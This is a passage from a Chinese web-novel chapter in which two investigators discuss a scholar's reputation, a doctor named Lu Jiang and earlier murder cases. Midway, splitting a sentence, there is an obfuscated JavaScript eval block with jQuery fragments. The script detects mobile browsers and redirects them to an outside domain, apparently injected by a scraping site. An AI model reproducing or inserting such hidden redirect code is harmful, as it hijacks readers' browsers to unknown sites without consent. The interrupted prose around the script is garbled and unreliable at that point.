荣修能是礼部尚书荣和安最小的儿子，虽为妾室所生，但自幼记在主母曾氏名下，所以一切用度皆是照荣府嫡子给予培养长大。


    曾氏自己生养了两个女儿，嫡长女于两年前出嫁，次女只比荣修能大一岁，至今待字闺中。


    “我见过荣修能几回，不过那也是许多年前了。”回忆往事，褚停云没有感慨时间易逝，只觉蹊跷，“印象中，荣修能虽人人皆知其极受荣尚书宠爱，但从不仗势欺人，对主母敬爱，对两位姐姐也是谦和有礼。用傅尚书的话说，老奸巨猾的荣和安却生了个纯良的儿子。”


    “纯良？”重复着这两字，季寒道，“此评价可不低。”


    傅尚书还说，相较之下，他褚停云像荣修能那么大时，连善良都够不上。


    腹诽着咽下，褚停云正色道：“刑部接手案子时也派人打听过，荣修能此人确实堪配纯良二字。书院的学正、学生大多也是如此认为。”


    此时，季寒却发现他话语中矛盾之处，抬手打断道：“大多？是询问的人少，还是其中有人并不这么认为？”


    似料到她会问起。褚停云勾起唇角，“总共询问二十一人，其中十七人这般认为，三人回避，一人建议刑部换个地方再去问问。”


    “这唯独的一人，是谁？”她好奇道。


    褚停云深深看了她一眼，才回道：“萧缘冰。”


    “是他？”季寒有些意外，不过思及他过于板正的态度，好像又在情理中。


    眼见她的神色从怀疑到接受，褚停云了然，毕竟在看到案卷上唯一那个质疑的姓名时，他也很快接受了。


    “萧缘冰这人只是轴了些，但鲜少违背自己的意愿说假话。”


    从敢当众拒了官家授命，力争自己想去之处便能看出，这人是真不会看人眼色。褚停云忽然觉得，“在朝为官若都是他那样的，该是什么样的局面？”


    季寒奇怪地看着他，“良药苦口利于病，忠言逆耳利于行。但同样，水至清则无鱼。这个问题与其问我，不如问问书院的那些人。”


    “……你不也是其中之一？”他发现，她是真能反驳，“再者，等当了官，你迟早也是要面对的。”


    她扯了个无聊的笑，“忠臣、奸臣、能臣、纯臣，这是官家该考虑的事。当臣子的只需考虑一件事。”


    “何事？”


    “为何而当官？”


    褚停云挑眉，“那可原因太多了。”


    季寒点头赞同道：“是，既然原因那么多。何必管他人从哪来为何来去往哪？如果真到揣度这一步，那多半不是此人有了事，就是有人将过多的心思放到了他身上。”


    她神色渐渐严肃，好似这无意打开的话匣子勾起了某种情绪。褚停云也不打断，等着她继续说下去。


    “从沅陵到汴京，两个月里，你我之间一直避而不谈的问题其实许多。原因你我也各自清楚，无非我觉得那不是我能干涉的，至于你，我想，多半也是认为有些事我没必要知晓。”


    季寒顿了一下，又道：“我不揣度你这么做的原因，同理，你也不过问我是否觉得那些案子真正结束。因为，你很清楚，都没有结束。而我，也知道没有结束，却装作结束。”


    衣袖下的掌心悄悄攥紧，目光落在平淡无波的脸庞。他不知，她不是因懂事退避，而是深谙看破不说破的真理。


    她目视前方，忽然莞尔一笑，仿佛与某人隔空相望。


    “陆姜来沅陵时身份是江湖游医，可师父从其样貌气度一眼就能看出此人在撒谎。因着他帮忙治病救人，医术上的确颇有造诣，师父以为他有什么不得已的苦衷便没有深究下去。久而久之，他成我们那也算小有名气的郎中。”


    “待人谦和，样貌佳还有一门不愁吃穿的手艺，这样的男子在咱们那小地方自然成了女婿不错人选。”


    褚停云抿了抿唇，看看她，又垂眸看向自己的茶。


    他的欲言又止太过明显，季寒沉吟了会无声叹气，似下定决心后才道：“我从未心悦于陆姜，若不是后来发生的事，也不至于令他误会至今。那日，你在客栈见我哭，也并不是因为他，而是为了小莲。”


    瞥了眼微微愣神后压不住的嘴角，季寒笑了笑，“何况那时，我早已心里有了人。”


    随之话音轻轻落下，他也笑不出来了，只余眼里的怔忡。


    而她还在继续道：“这辈子，我也只会在意那一人。”


    这辈子她都不会告诉他，她曾对师父所说的那个意气风发的少年心向往之；也不打算让他知晓，师父说若是有缘他们能遇见，或许会成就更好的彼此。


    她见到了他，喧闹的考场攒动的人群之中一眼认出了他。迎面而来时，她知道，就是他了。


    稍稍仰头，季寒深深吸了口气，再开口时已恢复平静，“小莲的养母姓张，村里人都唤她云娘，是个寡妇。起初，她也是看上了陆姜，想招他为女婿。但也被其所拒。没过多久，小莲被人发现死在他的院中。发现尸体和报案的人，就是小莲的养母张云娘。”


    “郎君，季娘子，姜汤煮好了。”门外传来陌尘的声音。


    季寒看了看褚停云，回道：“放门口吧。”下榻穿鞋之际只听对面有了动静。


    一言不发从陌尘手中接过托盘，依然沉默着将姜汤、包子、羊肉饭、羊肉汤一一摆上桌。


    他朝她望来，“吃饭。”


    硬声硬气宣泄着被拐着弯戳破心思的不满。


    季寒穿好鞋脱了外袍，整了整衣裙，在他对面入座。方要动手，但见褚停云已熟练地将羊肉饭给她的碗里盛上了。


    拿起筷子，她夹起一口饭，连同涌上的酸楚一块咽下。


    小莲曾问她如果有一天见到那个少年，会怎么做？她说，她会想方设法地接近他，了解他，查明他是不是同师父所描述的一模一样。


    小莲问，若是他变了呢？她说，若是变坏了就当没这人，若是变得更好了，就要让他心悦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16548609|185989||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自己。


    小莲笑她，不知羞。


    小莲活着时只有她一个朋友，死了却只有一卷草席。她不是一个合格朋友。


    汤匙碰撞瓷碗发出清脆的响声，看着他搁到跟前的姜汤，季寒放下了筷子。


    “五年前张小莲一案，虽最后查出凶手即是张云娘，但在县衙来人前张云娘就选择了自裁。”对上他若有所思的目光，季寒解释道，“陆姜暗示张云娘比起上堂审判，或许另一条路更适合她，因为谁也说不准她一定能活到上堂那日。彼时，我存了私心所以没有阻止，时至今日我方知他并不是信口胡诌。”


    她咬了下唇，“就像陆伯煊的下场，他说到做到了。而这一次，我依旧没有阻止。”藏着桌下的双手交握，指甲不自觉掐着虎口，“嘴上说着应以律法还被害者公道，却对施害者的生死冷眼旁观，我并没有做到如师父所说的，刑狱断案关乎的不止对错，还有生死，还有活生生的人命。我做不到问心无愧。”


    这话，他也说过。


    就在他们初相识的那次，褚停云曾斥责她——


    “老师一生断案无数，你可知他为何宁愿不做这提刑官也要离开汴京？因为官场难行，因为刑狱断案关乎的不止对错，还有生死，是活生生的人命。老师可否与你说过，每做一个决定，那个决定关乎到一个人的生死时，你可能做到问心无愧？”


    暖炉里的火不知何时熄灭，风从虚掩的门窗缝隙中越来越多地渗入，一室的暖意也在悄悄被驱散。


    “我以为温莹一案能有所不同，却不知一招错步步错。”


    猛然抬眼，褚停云不解地盯着她的眼睛，她别开了眼。


    “想必，南溪将我调查温家一事，应报于你听了吧？我尚未细问结果，但是有一事已经可以确定，也是，”她顿了顿，血色退去，一抹嘲讽浮上唇角，“也是我本不打算告诉你的，青青姑娘才是引发温莹一案背后的主因。我以为，温莹能瞒下，我也能。可是现在，温莹死了。你觉得我还能瞒下去吗？”


    最后一句透着自厌。褚停云听出来了，且感到不可思议，“你是在说，温莹出事，你早就猜到了，是这个意思吗？”


    季寒摇头，“我若能猜到这个结果，绝不会将她们留在虔州。”


    “那……”他似乎明白又好似糊涂，答案分明呼之欲出，却死死卡在喉咙口。


    “我错在以为陆姜不会发现温莹藏起的秘密。”


    “什么秘密？”


    “青青不是温府的丫鬟，她的骨骼长相与温莹极其相似。她与温莹是同父同母的姊妹。”


    褚停云对青青的长相无太多印象，此时听闻季寒这般说更觉疑惑。


    “可是根据官府记录，青青确实是温府所买奴婢。”也就是南溪所查到的，所以，褚停云愈发不解，“即便是亲姊妹，为何不能说？为何要藏起她？温莹又为何会死？”


    嗤笑一声，季寒冷声道：“那便要问，温府落败的真正原因？”